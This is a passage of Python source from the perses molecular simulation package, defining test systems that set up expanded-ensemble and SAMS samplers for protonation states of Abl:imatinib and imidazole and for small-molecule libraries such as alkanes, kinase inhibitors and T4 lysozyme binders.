for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
thermodynamic_states = dict()
for component in components:
for solvent in solvents:
environment = solvent + '-' + component
if solvent == 'explicit':
thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure)
else:
thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature)
# Create SAMS samplers
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
if solvent == 'explicit':
thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure)
sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature)
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_state, sampler_state, copy.deepcopy(self._move))
# reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
thermodynamic_states[environment] = thermodynamic_state
# Create test MultiTargetDesign sampler.
# TODO: Replace this with inhibitor:kinase and ATP:kinase ratio
from perses.samplers.samplers import MultiTargetDesign
target_samplers = { sams_samplers['vacuum-complex'] : 1.0, sams_samplers['vacuum-inhibitor'] : -1.0 }
designer = MultiTargetDesign(target_samplers, storage=self.storage)
designer.verbose = True
# Store things.
self.molecules = molecules
self.environments = environments
self.topologies = topologies
self.positions = positions
self.system_generators = system_generators
self.systems = systems
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
# This system must currently be minimized.
minimize_wrapper(self)
class AblImatinibProtonationStateTestSystem(PersesTestSystem):
"""
Create a consistent set of SAMS samplers useful for sampling protonation states of the Abl:imatinib complex.
Properties
----------
environments : list of str
Available environments: ['vacuum', 'explicit']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for implicit solvent hydration free energies
Examples
--------
>>> from perses.tests.testsystems import AblImatinibProtonationStateTestSystem
>>> testsystem = AblImatinibProtonationStateTestSystem()
# Build a system
>>> system = testsystem.system_generators['explicit-inhibitor'].create_system(testsystem.topologies['explicit-inhibitor'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['explicit-inhibitor']
"""
def __init__(self, **kwargs):
super(AblImatinibProtonationStateTestSystem, self).__init__(**kwargs)
solvents = ['vacuum', 'explicit'] # TODO: Add 'implicit' once GBSA parameterization for small molecules is working
components = ['inhibitor', 'complex'] # TODO: Add 'ATP:kinase' complex to enable resistance design
#solvents = ['vacuum'] # DEBUG: Just try vacuum for now
#components = ['inhibitor'] # DEBUG: Just try inhibitor for now
padding = 9.0*unit.angstrom
explicit_solvent_model = 'tip3p'
setup_path = 'data/constant-pH/abl-imatinib'
thermodynamic_states = dict()
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
# Construct list of all environments
environments = list()
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
environments.append(environment)
# Read mol2 file containing protonation states and extract canonical isomeric SMILES from this.
from pkg_resources import resource_filename
molecules = list()
mol2_filename = resource_filename('perses', os.path.join(setup_path, 'Imatinib-epik-charged.mol2'))
ifs = oechem.oemolistream(mol2_filename)
mol = oechem.OEMol()
while oechem.OEReadMolecule(ifs, mol):
smiles = oechem.OEMolToSmiles(mol)
molecules.append(smiles)
# Read log probabilities
log_state_penalties = dict()
state_penalties_filename = resource_filename('perses', os.path.join(setup_path, 'Imatinib-state-penalties.out'))
for (smiles, log_state_penalty) in zip(molecules, np.fromfile(state_penalties_filename, sep='\n')):
log_state_penalties[smiles] = log_state_penalty
# Add current molecule
smiles = 'Cc1ccc(cc1Nc2nccc(n2)c3cccnc3)NC(=O)c4ccc(cc4)C[NH+]5CCN(CC5)C'
molecules.append(smiles)
self.molecules = molecules
log_state_penalties[smiles] = 100.0 # this should have zero weight
# Expand molecules without explicit stereochemistry and make canonical isomeric SMILES.
molecules = sanitizeSMILES(self.molecules)
# Create a system generator for desired forcefields
# TODO: Debug why we can't ue pregenerated molecule ffxml parameters. This may be an openmoltools issue.
molecules_xml_filename = resource_filename('perses', os.path.join(setup_path, 'Imatinib-epik-charged.ffxml'))
print('Creating system generators...')
barostat = MonteCarloBarostat(pressure, temperature)
system_generators = dict()
system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat,
forcefield_kwargs = { 'nonbondedMethod' : app.CutoffPeriodic, 'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None},
molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield)
# NOTE implicit solvent not supported by this SystemGenerator
# system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files,
# forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2},
# molecules = [Molecule.from_openeye(molecule) for molecule in molecules],
# small_molecule_forcefield = small_molecule_forcefield)
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : None},
molecules = [Molecule.from_openeye(molecule) for molecule in molecules],
small_molecule_forcefield = small_molecule_forcefield)
# Copy system generators for all environments
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
system_generators[environment] = system_generators[solvent]
# Load topologies and positions for all components
from simtk.openmm.app import PDBFile, Modeller
topologies = dict()
positions = dict()
for component in components:
pdb_filename = resource_filename('perses', os.path.join(setup_path, '%s.pdb' % component))
print(pdb_filename)
pdbfile = PDBFile(pdb_filename)
topologies[component] = pdbfile.topology
positions[component] = pdbfile.positions
# Construct positions and topologies for all solvent environments
print('Constructing positions and topologies...')
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
if solvent == 'explicit':
# Create MODELLER object.
modeller = app.Modeller(topologies[component], positions[component])
modeller.addSolvent(system_generators[solvent].forcefield, model='tip3p', padding=9.0*unit.angstrom)
topologies[environment] = modeller.getTopology()
positions[environment] = modeller.getPositions()
else:
environment = solvent + '-' + component
topologies[environment] = topologies[component]
positions[environment] = positions[component]
natoms = sum( 1 for atom in topologies[environment].atoms() )
print("System '%s' has %d atoms" % (environment, natoms))
# Set up the proposal engines.
print('Initializing proposal engines...')
from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine
proposal_engines = dict()
list_of_oemols = []
from perses.utils.openeye import smiles_to_oemol
for smiles in molecules:
mol = smiles_to_oemol(smiles)
list_of_oemols.append(mol)
for environment in environments:
proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment], residue_name='MOL')
# Generate systems
print('Building systems...')
systems = dict()
for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
print('Defining thermodynamic states...')
thermodynamic_states = dict()
for component in components:
for solvent in solvents:
environment = solvent + '-' + component
if solvent == 'explicit':
thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure)
else:
thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature)
# Create SAMS samplers
print('Creating SAMS samplers...')
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
if solvent == 'explicit':
thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure)
sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature)
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_state, sampler_state, copy.deepcopy(self._move))
# reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
thermodynamic_states[environment] = thermodynamic_state
# Create a constant-pH sampler
from perses.samplers.samplers import ProtonationStateSampler
designer = ProtonationStateSampler(complex_sampler=exen_samplers['explicit-complex'], solvent_sampler=sams_samplers['explicit-inhibitor'], log_state_penalties=log_state_penalties, storage=self.storage)
designer.verbose = True
# Store things.
self.molecules = molecules
self.environments = environments
self.topologies = topologies
self.positions = positions
self.system_generators = system_generators
self.systems = systems
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
# This system must currently be minimized.
minimize_wrapper(self)
print('AblImatinibProtonationStateTestSystem initialized.')
class ImidazoleProtonationStateTestSystem(PersesTestSystem):
"""
Create a consistent set of SAMS samplers useful for sampling protonation states of imidazole in water.
Properties
----------
environments : list of str
Available environments: ['vacuum', 'explicit']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for implicit solvent hydration free energies
Examples
--------
>>> from perses.tests.testsystems import AblImatinibProtonationStateTestSystem
>>> testsystem = AblImatinibProtonationStateTestSystem()
# Build a system
>>> system = testsystem.system_generators['explicit-inhibitor'].create_system(testsystem.topologies['explicit-inhibitor'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['explicit-inhibitor']
"""
def __init__(self, **kwargs):
super(ImidazoleProtonationStateTestSystem, self).__init__(**kwargs)
solvents = ['vacuum', 'explicit'] # TODO: Add 'implicit' once GBSA parameterization for small molecules is working
components = ['imidazole']
padding = 9.0*unit.angstrom
explicit_solvent_model = 'tip3p'
setup_path = 'data/constant-pH/imidazole/'
thermodynamic_states = dict()
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
# Construct list of all environments
environments = list()
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
environments.append(environment)
# Read mol2 file containing protonation states and extract canonical isomeric SMILES from this.
from pkg_resources import resource_filename
molecules = list()
mol2_filename = resource_filename('perses', os.path.join(setup_path, 'imidazole/imidazole-epik-charged.mol2'))
ifs = oechem.oemolistream(mol2_filename)
mol = oechem.OEMol()
while oechem.OEReadMolecule(ifs, mol):
smiles = oechem.OEMolToSmiles(mol)
molecules.append(smiles)
# Read log probabilities
log_state_penalties = dict()
state_penalties_filename = resource_filename('perses', os.path.join(setup_path, 'imidazole/imidazole-state-penalties.out'))
for (smiles, log_state_penalty) in zip(molecules, np.fromfile(state_penalties_filename, sep='\n')):
log_state_penalties[smiles] = log_state_penalty
# Add current molecule
smiles = 'C1=CN=CN1'
molecules.append(smiles)
self.molecules = molecules
log_state_penalties[smiles] = 0.0
# Expand molecules without explicit stereochemistry and make canonical isomeric SMILES.
molecules = sanitizeSMILES(self.molecules)
# Create a system generator for desired forcefields
print('Creating system generators...')
gaff_xml_filename = resource_filename('perses', 'data/gaff.xml')
barostat = openmm.MonteCarloBarostat(pressure, temperature)
system_generators = dict()
system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat,
forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None},periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic},
molecules = [Molecule.from_openeye(molecule) for molecule in molecules], small_molecule_forcefield = small_molecule_forcefield)
# NOTE implicit solvent not supported by this SystemGenerator
# system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files,
# forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2},
# molecules = [Molecule.from_openeye(molecule) for molecule in molecules],
# small_molecule_forcefield = small_molecule_forcefield)
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = {'implicitSolvent' : None},nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff},
molecules = [Molecule.from_openeye(molecule) for molecule in molecules],
small_molecule_forcefield = small_molecule_forcefield)
# Copy system generators for all environments
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
system_generators[environment] = system_generators[solvent]
# Load topologies and positions for all components
from simtk.openmm.app import PDBFile, Modeller
topologies = dict()
positions = dict()
for component in components:
pdb_filename = resource_filename('perses', os.path.join(setup_path, '%s.pdb' % component))
print(pdb_filename)
pdbfile = PDBFile(pdb_filename)
topologies[component] = pdbfile.topology
positions[component] = pdbfile.positions
# Construct positions and topologies for all solvent environments
print('Constructing positions and topologies...')
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
if solvent == 'explicit':
# Create MODELLER object.
modeller = app.Modeller(topologies[component], positions[component])
modeller.addSolvent(system_generators[solvent].forcefield, model='tip3p', padding=9.0*unit.angstrom)
topologies[environment] = modeller.getTopology()
positions[environment] = modeller.getPositions()
else:
environment = solvent + '-' + component
topologies[environment] = topologies[component]
positions[environment] = positions[component]
natoms = sum( 1 for atom in topologies[environment].atoms() )
print("System '%s' has %d atoms" % (environment, natoms))
# DEBUG: Write initial PDB file
outfile = open(environment + '.initial.pdb', 'w')
PDBFile.writeFile(topologies[environment], positions[environment], file=outfile)
outfile.close()
# Set up the proposal engines.
print('Initializing proposal engines...')
residue_name = 'UNL' # TODO: Figure out residue name automatically
from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine
proposal_engines = dict()
from perses.utils.openeye import smiles_to_oemol
list_of_oemols = []
for smiles in molecules:
mol = smiles_to_oemol(smiles)
list_of_oemols.append(mol)
for environment in environments:
storage = None
if self.storage is not None:
storage = NetCDFStorageView(self.storage, envname=environment)
proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment], residue_name=residue_name, storage=storage)
# Generate systems
print('Building systems...')
systems = dict()
for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
print('Defining thermodynamic states...')
thermodynamic_states = dict()
for component in components:
for solvent in solvents:
environment = solvent + '-' + component
if solvent == 'explicit':
thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure)
else:
thermodynamic_states[environment] = states.ThermodynamicState(system=systems[environment], temperature=temperature)
# Create SAMS samplers
print('Creating SAMS samplers...')
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for solvent in solvents:
for component in components:
environment = solvent + '-' + component
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
storage = None
if self.storage is not None:
storage = NetCDFStorageView(self.storage, envname=environment)
if solvent == 'explicit':
thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure)
sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature)
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_state, sampler_state, copy.deepcopy(self._move))
# reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
thermodynamic_states[environment] = thermodynamic_state
# Store things.
self.molecules = molecules
self.environments = environments
self.topologies = topologies
self.positions = positions
self.system_generators = system_generators
self.systems = systems
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = None
print('ImidazoleProtonationStateTestSystem initialized.')
def minimize_wrapper(testsystem):
"""
Minimize all structures in test system.
TODO
----
Use sampler thermodynamic states instead of testsystem.systems
Parameters
----------
testystem : PersesTestSystem
The testsystem to minimize.
"""
for environment in testsystem.environments:
print("Minimizing '%s'..." % environment)
thermostate = ThermodynamicState(system = testsystem.systems[environment], temperature = 300.0 * unit.kelvin) #minimizer is temperature-independent
sampler_state = SamplerState(positions = testsystem.positions[environment])
minimize(thermostate, sampler_state)
testsystem.positions[environment] = sampler_state.positions
testsystem.mcmc_samplers[environment].sampler_state = sampler_state
class SmallMoleculeLibraryTestSystem(PersesTestSystem):
"""
Create a consistent set of samplers useful for testing SmallMoleculeProposalEngine on alkanes in various solvents.
This is useful for testing a variety of components.
Properties
----------
environments : list of str
Available environments: ['vacuum', 'explicit']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for explicit solvent hydration free energies
molecules : list
Molecules in library. Currently only SMILES format is supported.
Examples
--------
>>> from perses.tests.testsystems import AlkanesTestSystem
>>> testsystem = AlkanesTestSystem()
# Build a system
>>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['explicit']
"""
def __init__(self, constraints=app.HBonds, premapped_json_dict=None, **kwargs):
super(SmallMoleculeLibraryTestSystem, self).__init__(**kwargs)
# Expand molecules without explicit stereochemistry and make canonical isomeric SMILES.
molecules = sanitizeSMILES(self.molecules)
molecules = canonicalize_SMILES(molecules)
environments = ['explicit', 'vacuum']
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
# Create a system generator for our desired forcefields.
from pkg_resources import resource_filename
system_generators = dict()
gaff_xml_filename = resource_filename('perses', 'data/gaff.xml')
barostat = openmm.MonteCarloBarostat(pressure, temperature)
system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat,
forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None, 'constraints': constraints}, periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic},
small_molecule_forcefield = small_molecule_forcefield)
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = {'implicitSolvent' : None}, nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff},
small_molecule_forcefield = small_molecule_forcefield)
# Create topologies and positions
topologies = dict()
positions = dict()
# # Parametrize and generate residue templates for small molecule set
from openmoltools.forcefield_generators import generateForceFieldFromMolecules, generateTopologyFromOEMol, gaffTemplateGenerator
from io import StringIO
from perses.utils.openeye import smiles_to_oemol, extractPositionsFromOEMol, has_undefined_stereocenters
# skipping molecules with undefined stereocenters
d_smiles_to_oemol = {}
good_molecules = []
for i, smiles in enumerate(molecules):
mol = smiles_to_oemol(smiles, f"MOL_{i}")
if has_undefined_stereocenters(mol):
print(f"MOL_{i} has undefined stereochemistry so leaving out of test")
else:
d_smiles_to_oemol[smiles] = mol
good_molecules.append(smiles)
for environment in ['vacuum', 'explicit']:
system_generators[environment].add_molecules([Molecule.from_openeye(q) for q in d_smiles_to_oemol.values()])
# Create molecule in vacuum.
smiles = good_molecules[0] # getting the first smiles that works
print("smiles: ", smiles)
molecule = smiles_to_oemol(smiles)
topologies['vacuum'] = generateTopologyFromOEMol(molecule)
positions['vacuum'] = extractPositionsFromOEMol(molecule)
# Create molecule in solvent.
modeller = app.Modeller(topologies['vacuum'], positions['vacuum'])
modeller.addSolvent(system_generators['explicit'].forcefield, model='tip3p', padding=9.0*unit.angstrom)
topologies['explicit'] = modeller.getTopology()
positions['explicit'] = modeller.getPositions()
# Set up the proposal engines.
from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine
proposal_metadata = { }
proposal_engines = dict()
list_of_oemols = []
for smiles in good_molecules:
mol = smiles_to_oemol(smiles)
list_of_oemols.append(mol)
for environment in environments:
proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment], residue_name=d_smiles_to_oemol[smiles].GetTitle())
# Generate systems
systems = dict()
for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
thermodynamic_states = dict()
thermodynamic_states['explicit'] = states.ThermodynamicState(system=systems['explicit'], temperature=temperature, pressure=pressure)
thermodynamic_states['vacuum'] = states.ThermodynamicState(system=systems['vacuum'], temperature=temperature)
# Create SAMS samplers
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for environment in environments:
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
if environment == 'explicit':
sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move))
# reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
# Create test MultiTargetDesign sampler.
from perses.samplers.samplers import MultiTargetDesign
target_samplers = { sams_samplers['explicit'] : 1.0, sams_samplers['vacuum'] : -1.0 }
designer = MultiTargetDesign(target_samplers, storage=self.storage)
# Store things.
self.molecules = molecules
self.environments = environments
self.topologies = topologies
self.positions = positions
self.system_generators = system_generators
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
class AlkanesTestSystem(SmallMoleculeLibraryTestSystem):
"""
Library of small alkanes in various solvent environments.
"""
def __init__(self, **kwargs):
self.molecules = ['CCC', 'CCCC', 'CCCCC', 'CCCCCC']
super(AlkanesTestSystem, self).__init__(**kwargs)
class KinaseInhibitorsTestSystem(SmallMoleculeLibraryTestSystem):
"""
Library of clinical kinase inhibitors in various solvent environments. This is often problematic.
"""
def __init__(self, **kwargs):
# Read SMILES from CSV file of clinical kinase inhibitors.
from pkg_resources import resource_filename
smiles_filename = resource_filename('perses', 'data/clinical-kinase-inhibitors.csv')
import csv
molecules = list()
with open(smiles_filename, 'r') as csvfile:
csvreader = csv.reader(csvfile, delimiter=',', quotechar='"')
for row in csvreader:
name = row[0]
smiles = row[1]
molecules.append(smiles)
self.molecules = molecules
# Intialize
super(KinaseInhibitorsTestSystem, self).__init__(**kwargs)
#TODO fix this test system
class T4LysozymeInhibitorsTestSystem(SmallMoleculeLibraryTestSystem):
"""
Library of T4 lysozyme L99A inhibitors in various solvent environments.
"""
def read_smiles(self, filename):
import csv
molecules = list()
with open(filename, 'r') as csvfile:
csvreader = csv.reader(csvfile, delimiter='\t', quotechar='"')
for row in csvreader:
name = row[0]
smiles = row[1]
reference = row[2]
molecules.append(smiles)
return molecules
def __init__(self, **kwargs):
# Read SMILES from CSV file of clinical kinase inhibitors.
from pkg_resources import resource_filename
molecules = list()
molecules += self.read_smiles(resource_filename('perses', 'data/L99A-binders.txt'))
molecules += self.read_smiles(resource_filename('perses', 'data/L99A-non-binders.txt'))
# Filter only molecules with benzene substructure (c1ccccc1)
def contains_benzene(smiles):
from openeye import oechem
mol = oechem.OEGraphMol()
oechem.OESmilesToMol(mol, smiles)
# create a substructure search object
ss = oechem.OESubSearch("c1ccccc1") # benzene
oechem.OEPrepareSearch(mol, ss)
if ss.SingleMatch(mol):
return True
else:
return False
print('Filtering out molecules that do not contain benzene substructure')
print(f'{len(molecules)} before filtering')
molecules = [smiles for smiles in molecules if contains_benzene(smiles)]
print(f'{len(molecules)} remain after filtering')
# Store molecules
self.molecules = molecules
# Intialize
super(T4LysozymeInhibitorsTestSystem, self).__init__(**kwargs)
class FusedRingsTestSystem(SmallMoleculeLibraryTestSystem):
"""
Simple test system containing fused rings (benzene <--> naphtalene) in explicit solvent.
"""
def __init__(self, **kwargs):
self.molecules = ['c1ccccc1', 'c1ccc2ccccc2c1'] # benzene, naphthalene
super(FusedRingsTestSystem, self).__init__(**kwargs)
class ValenceSmallMoleculeLibraryTestSystem(PersesTestSystem):
"""
Create a consistent set of samplers useful for testing SmallMoleculeProposalEngine on alkanes with a valence-only forcefield.
Properties
----------
environments : list of str
Available environments: ['vacuum']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for explicit solvent hydration free energies
molecules : list
Molecules in library. Currently only SMILES format is supported.
Examples
--------
>>> from perses.tests.testsystems import ValenceSmallMoleculeLibraryTestSystem
>>> testsystem = ValenceSmallMoleculeLibraryTestSystem()
# Build a system
>>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['vacuum']
"""
def __init__(self, **kwargs):
super(ValenceSmallMoleculeLibraryTestSystem, self).__init__(**kwargs)
initial_molecules = ['CCCCC','CC(C)CC', 'CCC(C)C', 'CCCCC', 'C(CC)CCC']
molecules = self._canonicalize_smiles(initial_molecules)
environments = ['vacuum']
# Create a system generator for our desired forcefields.
system_generators = dict()
from pkg_resources import resource_filename
from perses.utils.openeye import smiles_to_oemol,extractPositionsFromOEMol
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = {'implicitSolvent' : None}, nonperiodic_forcefield_kwargs={ 'nonbondedMethod':app.NoCutoff},
molecules = [Molecule.from_openeye(smiles_to_oemol(q)) for q in molecules],
small_molecule_forcefield = small_molecule_forcefield)
#
# Create topologies and positions
#
topologies = dict()
positions = dict()
# Create molecule in vacuum.
from openmoltools.forcefield_generators import generateTopologyFromOEMol
smiles = molecules[0] # current sampler state
molecule = smiles_to_oemol(smiles)
topologies['vacuum'] = generateTopologyFromOEMol(molecule)
positions['vacuum'] = extractPositionsFromOEMol(molecule)
# Set up the proposal engines.
from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine
from perses.utils.openeye import smiles_to_oemol
list_of_oemols = []
for smiles in molecules:
mol = smiles_to_oemol(smiles)
list_of_oemols.append(mol)
proposal_engines = dict()
for environment in environments:
proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment])
# Generate systems
systems = dict()
for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
thermodynamic_states = dict()
